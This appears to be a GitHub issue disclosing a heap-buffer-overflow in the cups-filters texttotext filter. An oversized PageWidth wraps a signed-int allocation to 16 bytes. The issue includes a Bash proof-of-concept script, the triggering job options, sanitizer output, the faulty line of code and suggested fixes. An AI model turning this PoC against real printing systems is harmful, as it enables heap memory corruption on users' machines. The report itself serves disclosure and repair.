Skip to content

texttotext: page-size integer overflow causes a heap-buffer-overflow #198

Description

@kimaiden1984-boop

Summary

cfFilterTextToText() calculates its output-page allocation in a signed
int from attacker-controlled page dimensions. A large valid-positive
PageWidth wraps the allocation size to 16 bytes while the formatter retains
the original logical width. Document bytes then write beyond the undersized
heap allocation.

The failure is reached through the normal standalone texttotext filter with
a one-byte text document and job options. No fuzzing harness, malformed
container, or source modification is used.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.txt contains 32 A bytes followed by a newline (33 bytes),
with SHA-256
5692aefd04b9db8cc54cbd06ef91e0e427badee11ff46b2d5c6ab6c3173ed771.
The options are:

PageWidth=1073741824 PageHeight=1 PageLeft=0

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: texttotext: page-size integer overflow causes a heap-buffer-overflow
# Finding ID: texttotext-page-size-integer-overflow
# Trigger: cfFilterTextToText() calculates its output-page allocation in a
# signed int from attacker-controlled page dimensions. A large valid-positive
# PageWidth wraps the allocation size to 16 bytes while the formatter retains
# the original logical width. Document bytes then write beyond the undersized
# heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (33 bytes)
write_file document.txt 5692aefd04b9db8cc54cbd06ef91e0e427badee11ff46b2d5c6ab6c3173ed771 <<'POC_PAYLOAD_0'
H4sIAAAAAAACA3N0xA+4AJ8KdcghAAAA
POC_PAYLOAD_0

Result

UBSan first reports signed integer overflow at texttotext.c:774. ASan then
reports:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
cfFilterTextToText .../cupsfilters/texttotext.c:1088
0 bytes after 16-byte region

The non-sanitized build writes the left margin and document beyond the
allocation, then aborts during heap cleanup with:

free(): invalid next size (fast)

Cause and expected behavior

PageWidth and PageHeight accept any positive value parsed by atoi().
Line 774 evaluates:

page_size = ((num_columns + 2) * num_lines + 2) * 4;

entirely in signed int. With the dimensions above, the final multiplication
wraps to 16. calloc() therefore returns a 16-byte page while
num_columns=1073741824 remains unchanged. At line 1088, the formatter copies
the ASCII document into the page according to that logical width. The first
16 bytes fill the allocation and the remaining attacker-selected bytes
overwrite following heap memory.

The dimensions must be bounded before layout, the allocation calculation must
use checked size_t arithmetic, and allocation failure must be handled before
using out_page.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions